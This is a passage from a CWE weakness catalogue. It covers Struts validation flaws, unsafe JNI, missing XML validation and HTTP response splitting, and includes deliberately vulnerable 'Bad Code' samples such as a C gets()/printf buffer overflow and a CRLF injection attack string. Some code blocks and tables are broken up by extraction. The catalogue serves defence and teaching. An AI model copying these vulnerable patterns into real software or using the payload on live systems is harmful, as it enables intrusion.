Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

**Demonstrative Examples**

In the following Java example the class `RegistrationForm` is a Struts framework `ActionForm` Bean that will maintain user information from a registration webpage for an online business site. The user will enter registration data and through the Struts framework the `RegistrationForm` bean will maintain the user data.

**Java Example:***Bad Code*

```
public class RegistrationForm extends org.apache.struts.action.ActionForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

However, the `RegistrationForm` class extends the Struts `ActionForm` class which does not allow the `RegistrationForm` class to use the Struts validator capabilities. When using the Struts framework to maintain user data in an `ActionForm` Bean, the class should always extend one of the validator classes, `ValidatorForm`, `ValidatorActionForm`, `DynaValidatorForm` or `DynaValidatorActionForm`. These validator classes provide default validation and the `validate` method for custom validation for the Bean object to use for validating input data. The following Java example shows the `RegistrationForm` class extending the `ValidatorForm` class and implementing the `validate` method for validating input data.

**Java Example:***Good Code*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
    // getter and setter methods for private variables
    ...
}
```

Note that the `ValidatorForm` class itself extends the `ActionForm` class within the Struts framework API.

**Potential Mitigations****Implementation**

Ensure that all forms extend one of the Validation Classes.






## Background Details

In order to use the Struts Validator, a form must extend one of the following: ValidatorForm, ValidatorActionForm, DynaValidatorActionForm, and DynaValidatorForm. You must extend one of these classes because the Struts Validator ties in to your application by implementing the validate() method in these classes. Forms derived from the ActionForm and DynaActionForm classes cannot use the Struts Validator.

## Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf		20	Improper Input Validation	<b>700</b>	18
ChildOf		101	Struts Validation Problems	<b>699</b>	193
ChildOf		573	Improper Following of Specification by Caller	<b>1000</b>	910
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	<b>711</b>	1116
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

## Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Struts: Form Bean Does Not Extend Validation Class
Software Fault Patterns	SFP24	Tainted input to command

# CWE-105: Struts: Form Field Without Validator

Weakness ID: 105 (Weakness Variant)

Status: Draft

## Description

### Summary

The application has a form field that is not validated by a corresponding validation form, which can introduce other weaknesses related to insufficient input validation.

### Extended Description

Omitting validation for even a single input field may give attackers the leeway they need to compromise the application. Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages

- Java

## Modes of Introduction

Some applications use the same ActionForm for more than one purpose. In situations like this, some fields may go unused under some action mappings.

## Common Consequences

### Integrity

### Unexpected state

### Integrity

### Bypass protection mechanism

If unused fields are not validated, shared business logic in an action may allow attackers to bypass the validation checks that are performed for other uses of the form.

## Demonstrative Examples

In the following example the Java class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The

user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data in the form fields using the private member variables. The RegistrationForm class uses the Struts validation capability by extending the ValidatorForm class and including the validation for the form fields within the validator XML file, validator.xml.

*Good Code*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String address;
    private String city;
    private String state;
    private String zipcode;
    private String phone;
    private String email;
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

The validator XML file, validator.xml, provides the validation for the form fields of the RegistrationForm.

#### XML Example:

*Bad Code*

```
<form-validation>
  <formset>
    <form name="RegistrationForm">
      <field property="name" depends="required">
        <arg position="0" key="prompt.name"/>
      </field>
      <field property="address" depends="required">
        <arg position="0" key="prompt.address"/>
      </field>
      <field property="city" depends="required">
        <arg position="0" key="prompt.city"/>
      </field>
      <field property="state" depends="required,mask">
        <arg position="0" key="prompt.state"/>
        <var>
          <var-name>mask</var-name>
          <var-value>[a-zA-Z]{2}</var-value>
        </var>
      </field>
      <field property="zipcode" depends="required,mask">
        <arg position="0" key="prompt.zipcode"/>
        <var>
          <var-name>mask</var-name>
          <var-value>\d{5}</var-value>
        </var>
      </field>
    </form>
  </formset>
</form-validation>
```

However, in the previous example the validator XML file, validator.xml, does not provide validators for all of the form fields in the RegistrationForm. Validator forms are only provided for the first five of the seven form fields. The validator XML file should contain validator forms for all of the form fields for a Struts ActionForm bean. The following validator.xml file for the RegistrationForm class contains validator forms for all of the form fields.

#### XML Example:

*Good Code*

```
<form-validation>
  <formset>
    <form name="RegistrationForm">
      <field property="name" depends="required">
```

```

<arg position="0" key="prompt.name"/>
</field>
<field property="address" depends="required">
  <arg position="0" key="prompt.address"/>
</field>
<field property="city" depends="required">
  <arg position="0" key="prompt.city"/>
</field>
<field property="state" depends="required,mask">
  <arg position="0" key="prompt.state"/>
  <var>
    <var-name>mask</var-name>
    <var-value>[a-zA-Z]{2}</var-value>
  </var>
</field>
<field property="zipcode" depends="required,mask">
  <arg position="0" key="prompt.zipcode"/>
  <var>
    <var-name>mask</var-name>
    <var-value>\d{5}</var-value>
  </var>
</field>
<field property="phone" depends="required,mask">
  <arg position="0" key="prompt.phone"/>
  <var>
    <var-name>mask</var-name>
    <var-value>^\{0-9\}\{3\}\-\{0-9\}\{4\}\{0-9\}\{4\}\$</var-value>
  </var>
</field>
<field property="email" depends="required,email">
  <arg position="0" key="prompt.email"/>
</field>
</form>
</formset>
</form-validation>

```

## Potential Mitigations



### Implementation

Ensure that you validate all form fields. If a field is unused, it is still important to constrain it so that it is empty or undefined.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		20	Improper Input Validation	<b>700</b>	18
ChildOf		101	Struts Validation Problems	<b>1000</b>	699
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Struts: Form Field Without Validator
Software Fault Patterns	SFP24	Tainted input to command

## CWE-106: Struts: Plug-in Framework not in Use

Weakness ID: 106 (Weakness Variant)

Status: Draft

### Description

#### Summary

When an application does not use an input validation framework such as the Struts Validator, there is a greater risk of introducing weaknesses related to insufficient input validation.

**Extended Description**

Unchecked input is the leading cause of vulnerabilities in J2EE applications. Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others. Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- Java

**Common Consequences****Integrity****Unexpected state****Demonstrative Examples**

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data.

**Java Example:***Bad Code*

```
public class RegistrationForm extends org.apache.struts.action.ActionForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

However, the RegistrationForm class extends the Struts ActionForm class which does use the Struts validator plug-in to provide validator capabilities. In the following example, the RegistrationForm Java class extends the ValidatorForm and Struts configuration XML file, struts-config.xml, instructs the application to use the Struts validator plug-in.

**Java Example:***Good Code*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
    // getter and setter methods for private variables
    ...
}
```

The plug-in tag of the Struts configuration XML file includes the name of the validator plug-in to be used and includes a set-property tag to instruct the application to use the file, validator-rules.xml, for default validation rules and the file, validation.XML, for custom validation.

**XML Example:***Good Code*

```
<struts-config>
  <form-beans>
    <form-bean name="RegistrationForm" type="RegistrationForm"/>
  </form-beans>
```



```

...
<!-- ===== Validator plugin ===== -->
<plug-in className="org.apache.struts.validator.ValidatorPlugIn">
  <set-property
    property="pathnames"
    value="/WEB-INF/validator-rules.xml,/WEB-INF/validation.xml"/>
</plug-in>
</struts-config>

```

## Potential Mitigations

### Architecture and Design

#### Input Validation

#### Libraries or Frameworks

Use an input validation framework such as Struts.

### Implementation

#### Input Validation

#### Libraries or Frameworks

Use the Struts Validator to validate all program input before it is processed by the application.

Ensure that there are no holes in your configuration of the Struts Validator. Example uses of the validator include checking to ensure that:

Phone number fields contain only valid characters in phone numbers

Boolean values are only "T" or "F"

Free-form strings are of a reasonable length and composition

## Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf		20	Improper Input Validation	<b>700</b> <b>1000</b>	18
ChildOf		101	Struts Validation Problems	<b>699</b>	193
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	<b>711</b>	1116
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

## Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Struts: Plug-in Framework Not In Use

# CWE-107: Struts: Unused Validation Form

Weakness ID: 107 (Weakness Variant)

Status: Draft

## Description

### Summary

An unused validation form indicates that validation logic is not up-to-date.

### Extended Description

It is easy for developers to forget to update validation logic when they remove or rename action form mappings. One indication that validation logic is not being properly maintained is the presence of an unused validation form.

## Time of Introduction

- Implementation
- Operation

## Applicable Platforms

### Languages

- Java

## Common Consequences

**Other**  
**Quality degradation****Demonstrative Examples**

In the following example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data in the form fields using the private member variables. The RegistrationForm class uses the Struts validation capability by extending the ValidatorForm class and including the validation for the form fields within the validator XML file, validator.xml.

**Java Example:***Bad Code*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String address;
    private String city;
    private String state;
    private String zipcode;
    // no longer using the phone form field
    // private String phone;
    private String email;
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

**XML Example:***Bad Code*

```
<form-validation>
  <formset>
    <form name="RegistrationForm">
      <field property="name" depends="required">
        <arg position="0" key="prompt.name"/>
      </field>
      <field property="address" depends="required">
        <arg position="0" key="prompt.address"/>
      </field>
      <field property="city" depends="required">
        <arg position="0" key="prompt.city"/>
      </field>
      <field property="state" depends="required,mask">
        <arg position="0" key="prompt.state"/>
        <var>
          <var-name>mask</var-name>
          <var-value>[a-zA-Z]{2}</var-value>
        </var>
      </field>
      <field property="zipcode" depends="required,mask">
        <arg position="0" key="prompt.zipcode"/>
        <var>
          <var-name>mask</var-name>
          <var-value>d{5}</var-value>
        </var>
      </field>
      <field property="phone" depends="required,mask">
        <arg position="0" key="prompt.phone"/>
        <var>
          <var-name>mask</var-name>
          <var-value>^([0-9]{3})(-)([0-9]{4})[0-9]{4}$</var-value>
        </var>
      </field>
      <field property="email" depends="required,email">
        <arg position="0" key="prompt.email"/>
      </field>
    </form>
  </formset>
</form-validation>
```

```
</formset>
</form-validation>
```

However, the validator XML file, validator.xml, for the RegistrationForm class includes the validation form for the user input form field "phone" that is no longer used by the input form and the RegistrationForm class. Any validation forms that are no longer required should be removed from the validator XML file, validator.xml.

The existence of unused forms may be an indication to attackers that this code is out of date or poorly maintained.

### Potential Mitigations





#### Implementation

Remove the unused Validation Form from the validation.xml file.

### Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		20	Improper Input Validation	<b>700</b>	18
ChildOf		101	Struts Validation Problems	<b>699</b>	193
ChildOf		398	Indicator of Poor Code Quality	<b>1000</b>	684
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Struts: Unused Validation Form

## CWE-108: Struts: Unvalidated Action Form

Weakness ID: 108 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

Every Action Form must have a corresponding validation form.

#### Extended Description

If a Struts Action Form Mapping specifies a form, it must have a validation form defined under the Struts Validator.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- Java

### Common Consequences

#### Other

#### Other

If an action form mapping does not have a validation form defined, it may be vulnerable to a number of attacks that rely on unchecked input. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.

**Confidentiality**  
**Integrity**  
**Availability**  
**Other**  
**Other**

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

### Potential Mitigations

**Implementation**  
**Input Validation**

Map every Action Form to a corresponding validation form.

An action or a form may perform validation in other ways, but the Struts Validator provides an excellent way to verify that all input receives at least a basic level of validation. Without this approach, it is difficult, and often impossible, to establish with a high level of confidence that all input is validated.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	<input type="checkbox"/>	Page
ChildOf		20	Improper Input Validation	<b>700</b>	18
				<b>1000</b>	
ChildOf		101	Struts Validation Problems	<b>699</b>	193
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Struts: Unvalidated Action Form
Software Fault Patterns	SFP24	Tainted input to command

## CWE-109: Struts: Validator Turned Off

Weakness ID: 109 (Weakness Variant)

Status: Draft

### Description

#### Summary

Automatic filtering via a Struts bean has been turned off, which disables the Struts Validator and custom validation logic. This exposes the application to other weaknesses related to insufficient input validation.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- Java

### Common Consequences

#### Access Control

#### Bypass protection mechanism

### Demonstrative Examples

This mapping defines an action for a download form:

#### XML Example:

```
<action path="/download"
type="com.website.d2.action.DownloadAction"
name="downloadForm"
```

Bad Code

```
scope="request"
input=".download"
validate="false">
</action>
```

This mapping has disabled validation. Disabling validation exposes this action to numerous types of attacks

### Potential Mitigations

#### Implementation

Ensure that an action form mapping enables validation. Set the validate field to true.

#### Other Notes

The Action Form mapping in the demonstrative example disables the form's validate() method. The Struts bean: write tag automatically encodes special HTML characters, replacing a < with "&lt;" and a > with "&gt;". This action can be disabled by specifying filter="false" as an attribute of the tag to disable specified JSP pages. However, being disabled makes these pages susceptible to cross-site scripting attacks. An attacker may be able to insert malicious scripts as user input to write to these JSP pages.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		20	Improper Input Validation	<b>700</b>	18
ChildOf		101	Struts Validation Problems	<b>1000</b>	193
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	<b>699</b>	1116
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>711</b>	1388

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Struts: Validator Turned Off
Software Fault Patterns	SFP24	Tainted input to command

## CWE-110: Struts: Validator Without Form Field

Weakness ID: 110 (Weakness Variant)

Status: Draft

### Description

#### Summary

Validation fields that do not appear in forms they are associated with indicate that the validation logic is out of date.

#### Extended Description

It is easy for developers to forget to update validation logic when they make changes to an ActionForm class. One indication that validation logic is not being properly maintained is inconsistencies between the action form and the validation form.

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

### Time of Introduction

- Implementation
- Operation

### Applicable Platforms

#### Languages

- Java

### Common Consequences

**Other**  
**Other**

It is critically important that validation logic be maintained and kept in sync with the rest of the application. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.

**Demonstrative Examples**

**Example 1:**

An action form with two fields.

**Java Example:**

*Bad Code*

```
public class DateRangeForm extends ValidatorForm {
    String startDate, endDate;
    public void setStartDate(String startDate) {
        this.startDate = startDate;
    }
    public void setEndDate(String endDate) {
        this.endDate = endDate;
    }
}
```

This example shows an action form that has two fields, startDate and endDate.

**Example 2:**

A validation form with a third field.

**XML Example:**

*Bad Code*

```
<form name="DateRangeForm">
    <field property="startDate" depends="date">
        <arg0 key="start.date"/>
    </field>
    <field property="endDate" depends="date">
        <arg0 key="end.date"/>
    </field>
    <field property="scale" depends="integer">
        <arg0 key="range.scale"/>
    </field>
</form>
```

This example lists a validation form for the action form. The validation form lists a third field: scale. The presence of the third field suggests that DateRangeForm was modified without taking validation into account.

**Potential Mitigations**

**Build and Compilation**

**Testing**

**Input Validation**

To find the issue in the implementation, manual checks or automated static analysis could be applied to the xml configuration files.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		20	Improper Input Validation	700	18
ChildOf		101	Struts Validation Problems	699	193
ChildOf		398	Indicator of Poor Code Quality	1000	684
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	888	1388

**Causal Nature**

**Explicit** (an explicit weakness resulting from behavior of the developer)

**Taxonomy Mappings**



Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Struts: Validator Without Form Field
Software Fault Patterns	SFP24	Tainted input to command

## CWE-111: Direct Use of Unsafe JNI

Weakness ID: 111 (*Weakness Base*)

Status: Draft

### Description

#### Summary

When a Java application uses the Java Native Interface (JNI) to call code written in another programming language, it can expose the application to weaknesses in that code, even if those weaknesses cannot occur in Java.

#### Extended Description

Many safety features that programmers may take for granted simply do not apply for native code, so you must carefully review all such code for potential problems. The languages used to implement native code may be more susceptible to buffer overflows and other attacks. Native code is unprotected by the security features enforced by the runtime environment, such as strong typing and array bounds checking.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- Java

#### Common Consequences

##### Access Control

##### Bypass protection mechanism

#### Demonstrative Examples

The following code defines a class named Echo. The class declares one native method (defined below), which uses C to echo commands entered on the console back to the user. The following C code defines the native method implemented in the Echo class:

##### Java Example:

*Bad Code*

```
class Echo {
    public native void runEcho();
    static {
        System.loadLibrary("echo");
    }
    public static void main(String[] args) {
        new Echo().runEcho();
    }
}
```

##### C Example:

*Bad Code*

```
#include <jni.h>
#include "Echo.h"//the java class above compiled with javah
#include <stdio.h>
JNIEXPORT void JNICALL
Java_Echo_runEcho(JNIEnv *env, jobject obj)
{
    char buf[64];
    gets(buf);
    printf(buf);
}
```

Because the example is implemented in Java, it may appear that it is immune to memory issues like buffer overflow vulnerabilities. Although Java does a good job of making memory operations safe, this protection does not extend to vulnerabilities occurring in source code written in other languages that are accessed using the Java Native Interface. Despite the memory protections

offered in Java, the C code in this example is vulnerable to a buffer overflow because it makes use of gets(), which does not check the length of its input.

The Sun Java(TM) Tutorial provides the following description of JNI [See Reference]: The JNI framework lets your native method utilize Java objects in the same way that Java code uses these objects. A native method can create Java objects, including arrays and strings, and then inspect and use these objects to perform its tasks. A native method can also inspect and use objects created by Java application code. A native method can even update Java objects that it created or that were passed to it, and these updated objects are available to the Java application. Thus, both the native language side and the Java side of an application can create, update, and access Java objects and then share these objects between them.

The vulnerability in the example above could easily be detected through a source code audit of the native method implementation. This may not be practical or possible depending on the availability of the C source code and the way the project is built, but in many cases it may suffice. However, the ability to share objects between Java and native methods expands the potential risk to much more insidious cases where improper data handling in Java may lead to unexpected vulnerabilities in native code or unsafe operations in native code corrupt data structures in Java. Vulnerabilities in native code accessed through a Java application are typically exploited in the same manner as they are in applications written in the native language. The only challenge to such an attack is for the attacker to identify that the Java application uses native code to perform certain operations. This can be accomplished in a variety of ways, including identifying specific behaviors that are often implemented with native code or by exploiting a system information exposure in the Java application that reveals its use of JNI [See Reference].

### Potential Mitigations

#### Implementation

Implement error handling around the JNI call.

#### Architecture and Design

##### Implementation

##### Refactoring

Do not use JNI calls if you don't trust the native library.

#### Architecture and Design

##### Implementation

##### Refactoring

Be reluctant to use JNI calls. A Java API equivalent may exist.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		20	Improper Input Validation	<b>699</b> <b>700</b>	18
ChildOf		695	Use of Low-Level Functionality	<b>1000</b>	1077
ChildOf		859	CERT Java Secure Coding Section 14 - Platform Security (SEC)	<b>844</b>	1297
ChildOf		1001	SFP Secondary Cluster: Use of an Improper API	<b>888</b>	1403

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Unsafe JNI
CERT Java Secure Coding	SEC08-J	Define wrappers around native methods
Software Fault Patterns	SFP3	Use of an improper API

### References

Fortify Software. "Fortify Descriptions". < <http://vulncat.fortifysoftware.com> >.

B. Stearns. "The Java(TM) Tutorial: The Java Native Interface". Sun Microsystems. 2005. < <http://java.sun.com/docs/books/tutorial/native1.1/> >.

## CWE-112: Missing XML Validation

Weakness ID: 112 (Weakness Base)

Status: Draft

### Description

#### Summary

The software accepts XML from an untrusted source but does not validate the XML against the proper schema.

#### Extended Description

Most successful attacks begin with a violation of the programmer's assumptions. By accepting an XML document without validating it against a DTD or XML schema, the programmer leaves a door open for attackers to provide unexpected, unreasonable, or malicious input.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Integrity

##### Unexpected state

#### Demonstrative Examples

##### Example 1:

The following code loads and parses an XML file.

##### Java Example:

*Bad Code*

```
// Read DOM
try {
    ...
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setValidating( false );
    ....
    c_dom = factory.newDocumentBuilder().parse( xmlFile );
} catch(Exception ex) {
    ...
}
```

The XML file is loaded without validating it against a known XML Schema or DTD.

##### Example 2:

The following code creates a DocumentBuilder object to be used in building an XML document.

##### Java Example:

*Bad Code*

```
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();
```

The DocumentBuilder object does not validate an XML document against a schema, making it possible to create an invalid XML document.

#### Potential Mitigations

##### Architecture and Design

##### Input Validation



Always validate XML input against a known XML Schema or DTD.

It is not possible for an XML parser to validate all aspects of a document's content because a parser cannot understand the complete semantics of the data. However, a parser can do a complete and thorough job of checking the document's structure and therefore guarantee to the code that processes the document that the content is well-formed.

#### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		20	Improper Input Validation	699 700 1000	18
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	888	1388

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Missing XML Validation
Software Fault Patterns	SFP24	Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
99	XML Parser Attack	
230	XML Nested Payloads	
231	XML Oversized Payloads	
484	XML Client-Side Attack	

## CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

Weakness ID: 113 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software receives data from an upstream component, but does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers.

#### Extended Description

Including unvalidated data in an HTTP header allows an attacker to specify the entirety of the HTTP response rendered by the browser. When an HTTP request contains unexpected CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n) characters the server may respond with an output stream that is interpreted as two different HTTP responses (instead of one). An attacker can control the second response and mount attacks such as cross-site scripting and cache poisoning attacks.

HTTP response splitting weaknesses may be present when:

Data enters a web application through an untrusted source, most frequently an HTTP request.

The data is included in an HTTP response header sent to a web user without being validated for malicious characters.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Access Control

#### Modify application data

#### Gain privileges / assume identity

CR and LF characters in an HTTP header may give attackers control of the remaining headers and body of the response the application intends to send, as well as allowing them to create additional responses entirely under their control.

### Demonstrative Examples

**Example 1:**

The following code segment reads the name of the author of a weblog entry, `author`, from an HTTP request and sets it in a cookie header of an HTTP response.

**Java Example:***Bad Code*

```
String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);
```

Assuming a string consisting of standard alpha-numeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:

*Good Code*

```
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
```

However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for `AUTHOR_PARAM` does not contain any CR and LF characters. If an attacker submits a malicious string, such as

*Attack*

```
Wiley Hacker\r\nHTTP/1.1 200 OK\r\n
```

then the HTTP response would be split into two responses of the following form:

*Bad Code*

```
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker HTTP/1.1 200 OK
...
```

Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including:

- cross-user defacement
- web and browser cache poisoning
- cross-site scripting
- page hijacking

**Example 2:**

An attacker can make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the sever. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server.

In the best case, an attacker can leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application.

In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

**Example 3:**

The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the

malicious content until the cache entry is purged, although the user of the local browser instance will be affected.

#### Example 4:

Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser.

The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

#### Example 5:

In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker can cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker.

Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

#### Observed Examples

Reference	Description
CVE-2004-1620	HTTP response splitting via CRLF in parameter related to URL.
CVE-2004-1656	HTTP response splitting via CRLF in parameter related to URL.
CVE-2004-1687	Chain: HTTP response splitting via CRLF in parameter related to URL.
CVE-2004-2146	Application accepts CRLF in an object ID, allowing HTTP response splitting.
CVE-2004-2512	Response splitting via CRLF in PHPSESSID.
CVE-2005-1951	Chain: Application accepts CRLF in an object ID, allowing HTTP response splitting.
CVE-2005-2060	Bulletin board allows response splitting via CRLF in parameter.
CVE-2005-2065	Bulletin board allows response splitting via CRLF in parameter.

#### Potential Mitigations

##### Implementation

##### Input Validation

Construct HTTP headers very carefully, avoiding the use of non-validated input data.



**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.







**Implementation****Output Encoding**

